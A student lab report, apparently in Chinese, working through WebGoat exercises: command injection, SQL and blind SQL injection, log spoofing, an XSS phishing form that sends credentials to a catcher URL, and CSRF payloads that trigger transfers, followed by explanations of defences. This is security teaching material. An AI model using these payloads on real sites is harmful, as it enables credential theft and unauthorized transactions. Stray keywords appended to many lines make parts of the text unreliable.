1、實踐目標javascript
理解經常使用網絡攻擊技術的基本原理,包括(SQL,XSS,CSRF);html
在Webgoat實踐下相關實驗。java
2、實踐過程web
準備工做:sql
1.環境配置:數據庫
下好jar包而後放在根目錄下瀏覽器
使用命令 java -jar webgoat-container-7.0.1-war-exec.jar 就能夠解壓運行webgoat了安全
等待一下子他解壓,隨後發現他底端出現服務器
說明已經能夠登陸網頁開始使用webgoatcookie
2.使用webgoat:
打開Firefox,輸入 http://127.0.0.1:8080/WebGoat/login.mvc ,訪問webgoat。
使用默認帳號和密碼登陸便可,
發現左邊目錄只有8個選項·········
在網上搜了一下,
沒找到啥有用的方法···
最後在李師傅的幫助下,使用以下方法解決,
成了!
(一)SQL注入攻擊
1.命令注入(Command Injection)
目標:可以在目標主機上執行系統命令
(1)右鍵網頁,點擊 inspect Element
,查看並編輯網頁源代碼,查找 BasicAuthentication.help
,在旁邊加上 "& netstat -an & ipconfig"
(2)點擊網頁中的 view
按鈕,就能在網頁下面看到系統的網絡鏈接狀況了
2.數字型SQL注入(Numeric SQL Injection)
目標:注入一條SQL字符串,以顯示全部顯示的天氣數據
(1)右鍵網頁,點擊 inspect Element
,查看並編輯網頁源代碼,查找 New York
,在 option value
中加入恆等真式 or 1=1
(2)點擊 go
就能夠看到全部的天氣數據了
3.日誌欺騙(Log Spoofing)
目標:經過在日誌文件中添加一個腳本像用戶名「admin」成功登陸
(1)在 user name
中輸入 gly%0d%0aLogin Succeeded for username: admin(密碼隨意)
(2)點擊 login in ,
能夠看到成功
4.字符串SQL注入(String SQL Injection)
目標:做爲Smith,注入一個SQL字符串,顯示全部信用卡號
(1)輸入永真式 ' or '1'='1
(2)點擊 Go!
,就能夠查看全部信用卡號了
5.字符串SQL注入(String SQL Injection)
目標:使用SQL注入做爲老闆(「Neville」)登陸,並使用全部功能
(1)第一次登陸,在 password
中輸入永真式,發現失敗了,通過查看源代碼,找到緣由爲:password
最大長度不夠,因而在源代碼中修改最大長度
(2)輸入永真式 ' or 1=1 -- ,登陸成功,
6.盲數字SQL注入(Blind Numeric SQL Injection)
目標:在表格中找到字段pin的值
(1)判斷pin的值是否大於2500,
使用命令 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2500);
發現無效,因而推斷pin的值小於等於2500
(2)使用二分法進行反覆猜想,最終找到pin的值爲2364
(二)XSS攻擊
1.網絡釣魚和XSS(Phishing with XSS)
目標:使用XSS和HTML插入,將html插入到該請求憑證中,添加javascript來實際收集憑證
(1)在 search
框中輸入寫好的html代碼,代碼以下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
(2)點擊 search
後,下拉網頁就能夠看到輸入框,在裏面輸入任意字符,點擊 login
,就能夠看到攻擊成功了
2.存儲的跨站點腳本(XSS)攻擊(Stored XSS)
目標:在搜索人員頁面上使用一個漏洞來建立包含反射XSS攻擊的URL。確認另外一個使用該連接的員工受到攻擊的影響。
(1)以下圖所示輸入,
(2)提交後,再次點擊剛剛建立的帖子,成功彈出窗口,說明攻擊成功
3.執行反射的XSS攻擊(Reflected XSS)
目標:執行反射XSS攻擊,在搜索人員頁面上使用一個漏洞來建立包含反射XSS攻擊的URL。確認另外一個使用該連接的員工受到攻擊的影響
(1)在搜索框中輸入代碼 <script>alert('gly');</script> 後,點擊 purchase
(2)彈出窗口,攻擊成功
(三)CSRF攻擊
1.跨站請求僞造(CSRF)
目標:給新聞組發郵件。電子郵件包含一個URL指向惡意請求的圖像。在這節課中,URL應該指向「攻擊」servlet,其中包含了「屏幕」和「菜單」參數,以及一 個額外的參數「transferFunds」,它具備任意的數值
(1)查看本身電腦的Screen和menu的值
(2)Title
中任意輸入,在 Message
中輸入代碼,點擊 Submit
後,點擊下方的連接,就能夠看到攻擊成功了。代碼以下,
<iframe src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1"/>
2.CSRF Prompt By-Pass
目標:輸入代碼,第一個爲轉賬的請求,第二個請求確認第一個請求觸發的提示
(1)查看本身電腦的Screen和menu的值
(2)Title
中任意輸入,在 Message
中輸入代碼,點擊 Submit
後,點擊下方的連接,就能夠看到攻擊成功了。代碼以下,
<img src="attack?Screen=291&menu=900&transferFunds=6000" WIDTH="1" HEIGHT="1"> <img src="attack?Screen=291&menu=900&transferFunds=confirm" WIDTH="1" HEIGHT="1">
3、實驗後回答問題
1.SQL注入攻擊原理,如何防護
攻擊原理:SQL注入便是指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者能夠在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非受權的任意查詢,從而進一步獲得相應的數據信息。注射式攻擊 的根源在於,程序命令和用戶數據(即用戶輸入)之間沒有作到涇渭分明。這使得攻擊者有機會將程序命令看成用戶輸入的數據提交給We程序,以發號施令,隨心所欲。
防護方法:
(1)普通用戶與系統管理員用戶的權限進行嚴格的區分;
(2)不使用動態拼裝sql,可使用參數化的sql或者直接使用存儲過程進行數據查詢存取;
(3)增強對用戶輸入的驗證;
(4)多多使用SQL Server數據庫自帶的安全參數;
(5)必要的狀況下使用專業的漏洞掃描工具來尋找可能被攻擊的點。
2.XSS攻擊的原理,如何防護
攻擊原理:在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,攻擊者經過對網頁注入可執行代碼且成功地被瀏覽器執行,這些代碼包括HTML代碼和客戶端腳本,達到攻擊的目的,造成了一次有效XSS攻擊
防護方法:
(1)在表單提交或者url參數傳遞前,對須要的參數進行過濾;
(2)檢查用戶輸入的內容中是否有非法內容。如<>(尖括號)、」(引號)、 ‘(單引號)、%(百分比符號)、;(分號)、()(括號)、&(& 符號)、+(加號)等;
(3)檢查輸出,嚴格控制輸出.
3.CSRF攻擊原理,如何防護
攻擊原理:是一種對網站的惡意利用也就是人們所知道的釣魚網站,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站,是一種依賴web瀏覽器的、被混淆過的代理人攻擊
防護方法:
(1)在form中包含祕密信息、用戶指定的代號做爲cookie以外的驗證;
(2)驗證 HTTP Referer 字段,根據 HTTP 協議,在 HTTP 頭中有一個字段叫 Referer,它記錄了該 HTTP 請求的來源地址。網站只須要對於每個轉帳請求驗證其 Referer 值,若是是以 bank.example 開頭的域名,則說明該請求是來自銀行網站本身的請求,是合法的。若是 Referer 是其餘網站的話,則有多是黑客的 CSRF 攻擊,拒絕該請求;
(3)在請求地址中添加 token 並驗證,能夠在 HTTP 請求中以參數的形式加入一個隨機產生的 token,並在服務器端創建一個攔截器來驗證這個 token,若是請求中沒有 token 或者 token 內容不正確,則認爲多是 CSRF 攻擊而拒絕該請求。
4、實踐體會
這是最後一次實驗了,經過webgoat深刻理解並運用了多種攻擊,嘗試了不少東西,這九次實驗,能夠說是很是有意思了(除了調試環境、調試bug),收穫良多,雖然不能成功攻擊他人,可是可以認識而且作出相應的防範了。學習到了很多的東西,也進行了屢次的實踐與嘗試。
感謝老師的講課!感謝各位同窗幫助!